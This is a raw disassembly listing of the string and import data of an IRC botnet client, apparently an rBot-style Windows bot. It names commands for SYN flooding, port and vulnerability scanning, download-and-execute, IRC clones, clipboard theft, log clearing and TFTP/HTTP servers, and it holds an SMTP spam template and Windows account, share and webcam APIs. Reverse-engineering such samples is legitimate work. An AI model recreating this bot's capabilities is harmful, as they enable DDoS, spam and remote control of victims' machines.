'bye',0Dh,0Ah,0 align 4 dd 2 dup(0) aAb db 'ab',0 ; DATA XREF: sub_4087B3+1FEDo align 10h aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_4087B3+1FDCo align 10h dword_42ED40 dd 20025B02h, 7466202Dh, 1F641F70h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+1F66o aFileNotFoundS_ db ' File not found: %s.',0 align 4 dd 2 dup(0) aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_4087B3+1F43o align 10h dd 0 unk_42ED84 db 2 ; DATA XREF: sub_4087B3+1EF5o db 5Bh, 2, 20h db 2Dh ; - db 20h, 65h, 6Dh db 61h ; a db 69h, 1Fh, 6Ch db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aMessageSentToS db ' Message sent to %s.',0 align 10h dd 2 dup(0) aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_4087B3+1E81o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 dd 4 dup(0) a_: ; DATA XREF: sub_4087B3+1DE2o unicode 0, <_>,0 aEmail db 'email',0 ; DATA XREF: sub_4087B3+1D91o align 10h aAsc db 'asc',0 ; DATA XREF: sub_4087B3+1D7Co aAdvscan db 'advscan',0 ; DATA XREF: sub_4087B3+1D67o align 10h aClone_a db 'clone.a',0 ; DATA XREF: sub_4087B3+1D40o dd 0 aClone_action db 'clone.action',0 ; DATA XREF: sub_4087B3+1D2Bo align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: sub_4087B3+1D16o align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_4087B3+1D01o align 4 aSc db 'sc',0 ; DATA XREF: sub_4087B3+1CECo align 4 aPortscan db 'portscan',0 ; DATA XREF: sub_4087B3+1CD7o align 4 aSrv_rd_on db 'srv.rd.on',0 ; DATA XREF: sub_4087B3+1CC2o align 4 aSrv_redirect_o db 'srv.redirect.on',0 ; DATA XREF: sub_4087B3+1CADo align 8 aDownload db 'download',0 ; DATA XREF: sub_4087B3+1C83o ; sub_4087B3+1C98o align 4 aSyn db 'syn',0 ; DATA XREF: sub_4087B3+1C59o ; sub_4087B3+1C6Eo aC_make db 'c.make',0 ; DATA XREF: sub_4087B3+1C44o align 10h aClone_make db 'clone.make',0 ; DATA XREF: sub_4087B3+1C2Fo align 10h aMv db 'mv',0 ; DATA XREF: sub_4087B3+1C08o align 4 aRename db 'rename',0 ; DATA XREF: sub_4087B3+1BF3o align 4 aE: ; DATA XREF: sub_4087B3+1BDEo unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_4087B3+1BC9o dd 0 aUpdate db 'update',0 ; DATA XREF: sub_4087B3+1B9Fo ; sub_4087B3+1BB4o align 4 aDe db 'de',0 ; DATA XREF: sub_4087B3+1B8Ao align 4 aDelay db 'delay',0 ; DATA XREF: sub_4087B3+1B75o align 10h aRp db 'rp',0 ; DATA XREF: sub_4087B3+1B60o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_4087B3+1B4Bo ; sub_4087B3+2ED3o align 4 aClone_p db 'clone.p',0 ; DATA XREF: sub_4087B3+1B36o align 8 aClone_part db 'clone.part',0 ; DATA XREF: sub_4087B3+1B21o align 8 aClone_j db 'clone.j',0 ; DATA XREF: sub_4087B3+1B0Co dd 0 aClone_join db 'clone.join',0 ; DATA XREF: sub_4087B3+1AF7o align 10h dd 0 aClone_n db 'clone.n',0 ; DATA XREF: sub_4087B3+1AE2o align 10h aClone_nick db 'clone.nick',0 ; DATA XREF: sub_4087B3+1ACDo align 10h aClone_m db 'clone.m',0 ; DATA XREF: sub_4087B3+1AB8o dd 0 aClone_mode db 'clone.mode',0 ; DATA XREF: sub_4087B3+1AA3o align 4 dd 0 aClone_r db 'clone.r',0 ; DATA XREF: sub_4087B3+1A8Eo align 8 aClone_raw db 'clone.raw',0 ; DATA XREF: sub_4087B3+1A79o align 4 aM_0: ; DATA XREF: sub_4087B3+1A64o unicode 0, <m>,0 aMode db 'mode',0 ; DATA XREF: sub_4087B3+1A4Fo align 10h aCy db 'cy',0 ; DATA XREF: sub_4087B3+1A3Ao align 4 aCycle db 'cycle',0 ; DATA XREF: sub_4087B3+1A25o align 4 aA_0: ; DATA XREF: sub_4087B3+1A10o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_4087B3+19FBo align 4 aPm_0 db 'pm',0 ; DATA XREF: sub_4087B3+19E6o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_4087B3+19D1o align 8 aAa db 'aa',0 ; DATA XREF: sub_4087B3+19BCo align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_4087B3+19A7o align 4 aGh db 'gh',0 ; DATA XREF: sub_4087B3+1980o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_4087B3+196Bo align 8 unk_42EFD8 db 2 ; DATA XREF: sub_4087B3:loc_40A0E8o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aCommandUnknown db ' Command unknown.',0 align 10h dd 2 dup(0) unk_42F008 db 2 ; DATA XREF: sub_4087B3:loc_40A0E1o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aNoMessageSpeci db ' No message specified.',0 align 4 dd 2 dup(0) aSend db 'send',0 ; DATA XREF: sub_4087B3+18EFo ; sub_40E59D+5D2o align 4 unk_42F044 db 2 ; DATA XREF: sub_4087B3:loc_40A098o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aUserListFailed db ' User list failed.',0 align 4 dd 2 dup(0) unk_42F074 db 2 ; DATA XREF: sub_4087B3+18DEo db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aUserListComple db ' User list completed.',0 align 10h dd 2 dup(0) unk_42F0A8 db 2 ; DATA XREF: sub_4087B3:loc_409FFAo db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aShareListFaile db ' Share list failed.',0 dd 2 dup(0) unk_42F0D8 db 2 ; DATA XREF: sub_4087B3+183Do db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aShareListCompl db ' Share list completed.',0 align 4 dd 2 dup(0) aShare db 'share',0 ; DATA XREF: sub_4087B3+17DAo align 4 aContinue db 'continue',0 ; DATA XREF: sub_4087B3+17A0o align 10h aPause db 'pause',0 ; DATA XREF: sub_4087B3+1786o align 4 aStop db 'stop',0 ; DATA XREF: sub_4087B3+176Co align 10h unk_42F130 db 2 ; DATA XREF: sub_4087B3:loc_409F12o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aServiceListFai db ' Service list failed.',0 align 4 dd 2 dup(0) unk_42F164 db 2 ; DATA XREF: sub_4087B3+1755o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aServiceListCom db ' Service list completed.',0 align 4 dd 2 dup(0) aStart db 'start',0 ; DATA XREF: sub_4087B3+1705o align 4 unk_42F1A4 db 2 ; DATA XREF: sub_4087B3+16D3o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 dd 3 dup(0) dword_42F1F4 dd 74656Eh ; DATA XREF: sub_4087B3+16AFo unk_42F1F8 db 2 ; DATA XREF: sub_4087B3:loc_409E49o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 64h db 65h ; e db 6Eh, 6Ch, 1Fh db 74h ; t db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aNoThreadFound_ db ' No thread found.',0 align 4 dd 2 dup(0) unk_42F22C db 2 ; DATA XREF: sub_4087B3+168Co db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 64h db 65h ; e db 6Eh, 6Ch, 1Fh db 74h ; t db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aServerStopped_ db ' Server stopped. (%d thread(s) stopped.)',0 dd 3 dup(0) dword_42F278 dd 66666Fh ; DATA XREF: sub_4087B3+1669o unk_42F27C db 2 ; DATA XREF: sub_4087B3+15FFo db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 64h db 65h ; e db 6Eh, 6Ch, 1Fh db 74h ; t db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aAlreadyRunni_1 db ' Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_4087B3+15E3o align 4 aSrv_ident db 'srv.ident',0 ; DATA XREF: sub_4087B3+15CCo align 10h aRf db 'rf',0 ; DATA XREF: sub_4087B3+15B7o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_4087B3+15A2o align 10h aMirc db 'mirc',0 ; DATA XREF: sub_4087B3+158Do align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_4087B3+1578o dd 0 aV: ; DATA XREF: sub_4087B3+1563o unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_4087B3+154Eo align 10h aDel db 'del',0 ; DATA XREF: sub_4087B3+1539o aDelete db 'delete',0 ; DATA XREF: sub_4087B3+1524o ; sub_4087B3+17BDo align 4 aKi db 'ki',0 ; DATA XREF: sub_4087B3+150Fo align 10h aKill db 'kill',0 ; DATA XREF: sub_4087B3+14FAo align 4 aKp db 'kp',0 ; DATA XREF: sub_4087B3+14E5o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_4087B3+14D0o align 4 aDn db 'dn',0 ; DATA XREF: sub_4087B3+14BBo align 4 aDns db 'dns',0 ; DATA XREF: sub_4087B3+14A6o aIrc_news db 'irc.news',0 ; DATA XREF: sub_4087B3+1491o align 4 aNewserver db 'newserver',0 ; DATA XREF: sub_4087B3+147Co align 4 aO: ; DATA XREF: sub_4087B3+1467o unicode 0, <o>,0 aPr db 'pr',0 ; DATA XREF: sub_4087B3+143Do align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_4087B3+1428o align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_4087B3+1413o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_4087B3+13FEo align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_4087B3+13E9o align 10h aClone_quit db 'clone.quit',0 ; DATA XREF: sub_4087B3+13D4o align 10h aK: ; DATA XREF: sub_4087B3+13BFo unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_4087B3+13AAo align 10h dd 0 aRaw db 'raw',0 ; DATA XREF: sub_4087B3+1380o aPt db 'pt',0 ; DATA XREF: sub_4087B3+136Bo align 4 aPart_0 db 'part',0 ; DATA XREF: sub_4087B3+1356o align 4 aJ: ; DATA XREF: sub_4087B3+1341o unicode 0, <j>,0 aJoin db 'join',0 ; DATA XREF: sub_4087B3+132Co align 10h aN: ; DATA XREF: sub_4087B3+1317o unicode 0, <n>,0 aNick_0 db 'nick',0 ; DATA XREF: sub_4087B3+1302o align 4 aScan_a db 'scan.a',0 ; DATA XREF: sub_4087B3+12DBo align 4 aScanall db 'scanall',0 ; DATA XREF: sub_4087B3+12C6o align 10h aSrv_tftp_on db 'srv.tftp.on',0 ; DATA XREF: sub_4087B3+12B1o align 10h aSrv_tftpserver db 'srv.tftpserver.on',0 ; DATA XREF: sub_4087B3+129Co align 8 aWeb_on db 'web.on',0 ; DATA XREF: sub_4087B3+1287o align 10h aHttpd_on db 'httpd.on',0 ; DATA XREF: sub_4087B3+1272o align 4 aScan_cip db 'scan.cip',0 ; DATA XREF: sub_4087B3+125Do align 4 aScan_currentip db 'scan.currentip',0 ; DATA XREF: sub_4087B3+1248o align 4 dd 0 aFdns db 'fdns',0 ; DATA XREF: sub_4087B3+1233o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_4087B3+121Eo align 10h aFarp db 'farp',0 ; DATA XREF: sub_4087B3+1209o align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_4087B3+11F4o align 4 aGc db 'gc',0 ; DATA XREF: sub_4087B3+11DFo align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_4087B3+11CAo dd 0 unk_42F464 db 2 ; DATA XREF: sub_4087B3+11BFo db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aLoginListCompl db ' Login list complete.',0 align 10h dd 2 dup(0) aD_S db '%d. %s',0 ; DATA XREF: sub_4087B3+118Bo ; sub_414D07+46o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_4087B3+117Eo dd 0 aLoginList db '-[Login List]-',0 ; DATA XREF: sub_4087B3+115Co align 10h aWho db 'who',0 ; DATA XREF: sub_4087B3+1143o aDll db 'dll',0 ; DATA XREF: sub_4087B3+112Eo aTestdlls db 'testdlls',0 ; DATA XREF: sub_4087B3+1119o align 4 aDrv db 'drv',0 ; DATA XREF: sub_4087B3+1104o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_4087B3+10EFo align 4 aUp db 'up',0 ; DATA XREF: sub_4087B3+10DAo align 4 aUptime db 'uptime',0 ; DATA XREF: sub_4087B3+10C5o align 10h aPs db 'ps',0 ; DATA XREF: sub_4087B3+10B0o align 4 aProcs db 'procs',0 ; DATA XREF: sub_4087B3+109Bo align 4 aRm db 'rm',0 ; DATA XREF: sub_4087B3+1086o align 10h aRemove db 'remove',0 ; DATA XREF: sub_4087B3+1071o align 4 aSi db 'si',0 ; DATA XREF: sub_4087B3+105Co align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_4087B3+1047o align 8 aNi db 'ni',0 ; DATA XREF: sub_4087B3+1032o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_4087B3+101Do align 8 aClg db 'clg',0 ; DATA XREF: sub_4087B3+1008o aClearlog db 'clearlog',0 ; DATA XREF: sub_4087B3+FF3o align 4 aLg db 'lg',0 ; DATA XREF: sub_4087B3+FDEo align 4 aLog db 'log',0 ; DATA XREF: sub_4087B3+FC9o aAl db 'al',0 ; DATA XREF: sub_4087B3+FB4o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_4087B3+F9Fo align 10h aT: ; DATA XREF: sub_4087B3+F8Ao unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_4087B3+F75o align 10h unk_42F560 db 2 ; DATA XREF: sub_4087B3+F41o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aFailedToReboot db ' Failed to reboot system.',0 align 10h dd 2 dup(0) unk_42F598 db 2 ; DATA XREF: sub_4087B3+F3Ao db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aRebootingSyste db ' Rebooting system.',0 align 10h dd 2 dup(0) aReboot db 'reboot',0 ; DATA XREF: sub_4087B3+F23o align 10h aI_0: ; DATA XREF: sub_4087B3+F0Eo unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_4087B3+EF9o align 4 aS_6: ; DATA XREF: sub_4087B3+EE4o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_4087B3+ECFo align 4 aQ: ; DATA XREF: sub_4087B3+EBAo unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_4087B3+EA5o align 10h aD_0: ; DATA XREF: sub_4087B3+E90o unicode 0, <d>,0 aDisconnect db 'disconnect',0 ; DATA XREF: sub_4087B3+E7Bo align 10h dd 0 aR: ; DATA XREF: sub_4087B3+E66o ; sub_4087B3+1395o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_4087B3+E51o align 4 aScan_sts db 'scan.sts',0 ; DATA XREF: sub_4087B3+E3Co align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_4087B3+E27o align 4 dword_42F62C dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+E1Co dd 2 dup(0) aVuln db 'Vuln',0 ; DATA XREF: sub_4087B3+E17o align 10h aScan_stop db 'scan.stop',0 ; DATA XREF: sub_4087B3+DFEo align 4 dword_42F65C dd 20025B02h, 6573202Dh, 1F727563h, 2D201F65h, 25D0220h ; DATA XREF: sub_4087B3+DF3o dd 0BB20h, 0 aSecure_0 db 'Secure',0 ; DATA XREF: sub_4087B3+DEEo align 10h aSecurestop db 'securestop',0 ; DATA XREF: sub_4087B3+DD5o align 10h aProcsoff db 'procsoff',0 ; DATA XREF: sub_4087B3+DC0o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_4087B3+DABo align 4 dword_42F6A8 dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+DA0o dd 2 dup(0) aTftpstop db 'tftpstop',0 ; DATA XREF: sub_4087B3+D82o align 10h dword_42F6D0 dd 20025B02h, 7973202Dh, 201F6E1Fh, 5D02202Dh, 0BB2002h ; DATA XREF: sub_4087B3+D77o dd 0 aSynFlood db 'Syn flood',0 ; DATA XREF: sub_4087B3+D72o align 4 aSynstop db 'synstop',0 ; DATA XREF: sub_4087B3+D59o align 10h dword_42F700 dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h ; DATA XREF: sub_4087B3+D51o dd 0BB20025Dh, 2 dup(0) aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_4087B3+D4Co align 10h aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_4087B3+D33o align 10h dword_42F740 dd 20025B02h, 6F6C202Dh, 201F671Fh, 5D02202Dh, 0BB2002h ; DATA XREF: sub_4087B3+D2Bo dd 0 aLogList db 'Log list',0 ; DATA XREF: sub_4087B3+D26o align 4 aLogstop db 'logstop',0 ; DATA XREF: sub_4087B3+D0Do align 10h dword_42F770 dd 74026802h, 641F7074h, 2E2E1Fh, 0 ; DATA XREF: sub_4087B3+CEBo aServer_0 db 'Server',0 ; DATA XREF: sub_4087B3+CE6o ; sub_4087B3+D9Bo align 4 aHttpdstop db 'httpdstop',0 ; DATA XREF: sub_4087B3+CCDo align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_4087B3+CB8o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_4087B3+CA3o align 4 aSec db 'sec',0 ; DATA XREF: sub_4087B3+C8Eo ; sub_4087B3+4635o aSecure db 'secure',0 ; DATA XREF: sub_4087B3+C79o ; sub_4087B3+4624o align 4 aVer db 'ver',0 ; DATA XREF: sub_4087B3+C64o aVersion db 'version',0 ; DATA XREF: sub_4087B3+C4Fo dd 0 aG0t db 'g0t',0 ; DATA XREF: sub_4087B3+C3Ao aLogout db 'logout',0 ; DATA XREF: sub_4087B3+C25o align 10h aDn0 db 'dn0',0 ; DATA XREF: sub_4087B3+C10o aDien0w db 'dien0w',0 ; DATA XREF: sub_4087B3+BFBo align 4 aRn db 'rn',0 ; DATA XREF: sub_4087B3+BE6o align 10h aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_4087B3+BD1o dd 0 a63 db '63',0 ; DATA XREF: sub_4087B3+ABCo align 10h asc_42F7F0: ; DATA XREF: sub_4087B3+A9Do unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_4087B3+A66o align 4 aServer db '$server',0 ; DATA XREF: sub_4087B3+A5Bo align 8 aRndnick db '$rndnick',0 ; DATA XREF: sub_4087B3+A4Ao align 4 aChan db '$chan',0 ; DATA XREF: sub_4087B3+A31o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_4087B3+A20o align 4 aMe db '$me',0 ; DATA XREF: sub_4087B3+A0Eo aD_1 db '$%d',0 ; DATA XREF: sub_4087B3+9A6o aD db '$%d-',0 ; DATA XREF: sub_4087B3+8FAo align 4 dword_42F834 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_4087B3+892o dd 0A0Dh, 0 dword_42F850 dd 4E495001h, 47h ; DATA XREF: sub_4087B3+85Eo dword_42F858 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_4087B3+853o dd 0D017325h, 0Ah, 0 dword_42F878 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_4087B3+822o aLogin db 'login',0 ; DATA XREF: sub_4087B3+6DDo ; sub_4087B3+6F2o align 4 a332 db '332',0 ; DATA XREF: sub_4087B3+64Eo ; sub_4087B3+714o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_4087B3+62Co ; sub_40E4DC+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_4087B3+620o ; sub_40E4DC+16o dd 0 unk_42F8A4 db 2 ; DATA XREF: sub_4087B3+5CFo db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aUserSLoggedOut db ' User: %s logged out.',0 align 10h dd 2 dup(0) unk_42F8D8 db 2 ; DATA XREF: sub_4087B3+5A8o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 dd 2 dup(0) dword_42F90C dd 333533h ; DATA XREF: sub_4087B3+571o aPart db 'PART',0 ; DATA XREF: sub_4087B3+523o ; sub_4087B3+5ECo align 4 aSS_3 db ':%s%s',0 ; DATA XREF: sub_4087B3+4FBo align 10h aNick db 'NICK',0 ; DATA XREF: sub_4087B3+3CDo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+36Eo ; sub_4087B3+610o dd 0 unk_42F93C db 2 ; DATA XREF: sub_4087B3+355o ; sub_4087B3+478Bo ... db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aUserSLoggedO_0 db ' User %s logged out.',0 align 10h aKick db 'KICK',0 ; DATA XREF: sub_4087B3+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+28Do ; sub_4087B3+3986o ... align 4 a433 db '433',0 ; DATA XREF: sub_4087B3+265o a@: ; DATA XREF: sub_4087B3+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_4087B3+22Ao a005 db '005',0 ; DATA XREF: sub_4087B3+215o a001 db '001',0 ; DATA XREF: sub_4087B3+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+1E4o ; sub_4087B3+3B4o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_4087B3+1A9o align 4 asc_42F9BC: ; DATA XREF: sub_4087B3+19Ao ; sub_4087B3+4896o unicode 0, <!>,0 asc_42F9C0 db ' :',0 ; DATA XREF: sub_4087B3+86o ; sub_4087B3:loc_40904Fo align 4 aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40E4DC+58o dd 0 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40E59D+C50o align 10h dd 0 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40E59D+C48o align 10h aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40E59D:loc_40F1D8o align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40E59D+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40E59D+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40E59D+BCCo align 10h dd 0 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40E59D+BBFo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40E59D+BB2o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40E59D+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40E59D:loc_40F13Ao align 8 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40E59D+B68o align 4 dd 0 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40E59D+B60o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40E59D:loc_40F0F0o dd 0 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40E59D+B0Eo align 8 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40E59D+B01o align 10h dd 0 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40E59D+AF4o dd 0 aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40E59D+AECo dd 0 aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40E59D:loc_40F07Co align 10h aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40E59D+AAAo align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40E59D+AA2o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40E59D:loc_40F032o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40E59D+A60o align 8 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40E59D+A58o align 10h dd 0 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40E59D:loc_40EFE8o align 10h dd 0 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40E59D+9CEo align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40E59D+9C1o align 10h dd 0 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40E59D+9B4o dd 0 aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40E59D+9A7o align 10h dd 0 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40E59D+99Ao align 10h dd 0 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40E59D+98Do align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40E59D+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40E59D+973o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40E59D+966o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40E59D+959o align 10h aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40E59D+951o align 10h aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40E59D:loc_40EEDDo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40E59D+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40E59D+8F6o dd 0 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40E59D+8EEo align 8 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40E59D:loc_40EE7Eo align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40E59D+8B4o align 10h dd 0 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40E59D+842o dd 0 aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40E59D+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40E59D+828o align 8 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40E59D+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40E59D+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40E59D+801o align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40E59D+7F4o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40E59D+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40E59D+7DAo dd 2 dup(0) aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40E59D+7D2o align 4 dd 0 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40E59D:loc_40ED5Eo dd 0 aClosesocket db 'closesocket',0 ; DATA XREF: sub_40E59D+688o dd 0 aGetpeername db 'getpeername',0 ; DATA XREF: sub_40E59D+67Bo dd 0 aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40E59D+66Eo align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40E59D+661o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_40E59D+654o dd 0 aGetsockname db 'getsockname',0 ; DATA XREF: sub_40E59D+647o dd 0 